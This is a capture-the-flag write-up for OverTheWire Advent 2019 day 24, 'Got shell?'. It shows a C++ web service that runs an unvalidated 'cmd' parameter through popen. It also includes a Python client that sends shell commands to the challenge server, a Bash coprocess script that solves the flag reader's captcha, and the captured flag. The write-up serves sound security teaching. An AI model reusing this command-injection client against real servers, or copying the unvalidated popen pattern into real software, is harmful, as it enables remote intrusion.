]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/litplus/otw19/Adv-24.md
ilm0 - second submission deadline + updated readme
[pub/jan/ctf-seminar.git] / writeups / litplus / otw19 / Adv-24.md
1 day-24 Got shell?
2 -----------------
3 OverTheWire Advent 2019, day 24
4
5 Discussion in [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-24-got-shell)
6
7 Time spent for this challenge: 2.25 hours + 0.5 hours write-up
8
9  * December 24: 2.25 hours (13:30-15:45)
10
11 ### Overview
12
13 ```
14 Got shell? - web, linux
15 Points: 1337
16
17 Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
18 Service: http://3.93.128.89:1224
19 Author: semchapeu
20 ```
21
22 Accessing the website shows some C++ code:
23
24 ```
25 #include "crow_all.h"
26 #include <cstdio>
27 #include <iostream>
28 #include <memory>
29 #include <stdexcept>
30 #include <string>
31 #include <array>
32 #include <sstream>
33
34 std::string exec(const char* cmd) {
35     std::array<char, 128> buffer;
36     std::string result;
37     std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
38     if (!pipe) {
39         return std::string("Error");
40     }
41     while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
42         result += buffer.data();
43     }
44     return result;
45 }
46
47 int main() {
48     crow::SimpleApp app;
49     app.loglevel(crow::LogLevel::Warning);
50
51     CROW_ROUTE(app, "/")
52     ([](const crow::request& req) {
53         std::ostringstream os;
54         if(req.url_params.get("cmd") != nullptr){
55             os << exec(req.url_params.get("cmd"));
56         } else {
57             os << exec("cat ./source.html"); 
58         }
59         return crow::response{os.str()};
60     });
61
62     app.port(1224).multithreaded().run();
63 }
64 ```
65
66 From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
67
68 ### Exploitation
69 Passing `ls -hla` reveals:
70
71 ```
72 total 44K
73 drwxr-xr-x 1 root root     4.0K Dec 24 11:56 .
74 drwxr-xr-x 1 root root     4.0K Dec 24 11:56 ..
75 ----r----- 1 root gotshell   38 Dec 24 08:32 flag
76 ------s--x 1 root gotshell  18K Dec  5 17:26 flag_reader
77 -rw-rw-r-- 1 root root      11K Dec 24 08:32 source.html
78 ```
79
80 So, the `flag_reader` binary can access the flag, but we cannot do that directly.
81
82 To make command execution easier, I developed a small Python script:
83
84 ```
85 #!/usr/bin/env python3
86 import sys
87 import requests
88
89 while True:
90     print(" > ", end="", flush=True)
91     command=input()
92     print(" ... ", end="\r", flush=True)
93     payload = { 'cmd': command }
94     req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
95     print(req.text)
96 ```
97
98 Some information:
99
100 ```
101  > id
102 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
103  > ./flag_reader
104 Got shell?
105 1411293829 + 1732747376 = Incorrect captcha :(
106  > uname -a
107 Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
108 ```
109
110 The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
111
112 I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
113
114 ```
115 ./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
116 ```
117
118 However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
119
120 In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
121
122 ```
123 #!/bin/bash
124
125 R1=$(echo $RANDOM)
126 R2=$(echo $RANDOM)
127
128 echo "Got a shell?"
129 echo -n "$R1 + $R2 = "
130 read VAL
131 SUM=$(($R1+$R2))
132
133 if [[ $SUM -ne $VAL ]]
134 then
135   echo "Wrong"
136   exit 1
137 else
138   echo "Yes"
139 fi
140 ```
141
142 To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
143
144 ```
145 #!/bin/bash
146 coproc p1 {
147   ./flag_reader
148 }
149
150 #awk '{ sum = $1 + $3 ;
151 #  print sum }' <&${p1[0]} >&${p1[1]}
152 read line <&${p1[0]}
153     echo " -> $line <-"
154
155 read -d "=" captcha <&${p1[0]}
156 solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
157   print sum }')
158 echo "hey solute $solution"
159 echo "$solution" >&${p1[1]}
160
161 echo "hi"
162 tee <&${p1[0]}
163 ```
164
165 This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
166
167 ```
168 import sys
169 import requests
170 import requests.exceptions
171
172 script=""
173
174 while True:
175     print(" > ", end="", flush=True)
176     command=input()
177     worked=False
178     while not worked:
179         try:
180             if command == "EXPL":
181                 with open("proc.sh", "r") as file:
182                     script = "".join(file.readlines())
183                 command=script
184             escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
185             full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
186             payload = { 'cmd': full}
187             print(full)
188             print(" ... ", end="\r", flush=True)
189             req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
190             print("     ", end="\r", flush=True)
191             print(req.text)
192             print("(done)")
193             worked=True
194         except requests.exceptions.ReadTimeout:
195             print("(timed out)")
196         except requests.exceptions.ConnectionError:
197             print("(connect error)")
198 ```
199
200 What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
201
202 Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
203
204 ```
205 HELLO
206  -> Got shell? <-
207 hey solute 3.43413e+09
208 hi
209  Incorrect captcha :(
210 ```
211
212 The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
213
214 ```
215 echo "HELLO";
216 coproc p1 {
217 ./flag_reader;
218 };
219 read line <&${p1[0]};
220 echo " -> $line <-";
221 read -d "=" captcha <&${p1[0]};
222 solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
223   printf "%.0f", sum }');
224 echo "hey solute $solution";
225 echo "$solution" >&${p1[1]};
226 echo "hi";
227 cat <&${p1[0]}
228 ```
229
230 Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.
231
232 ---
233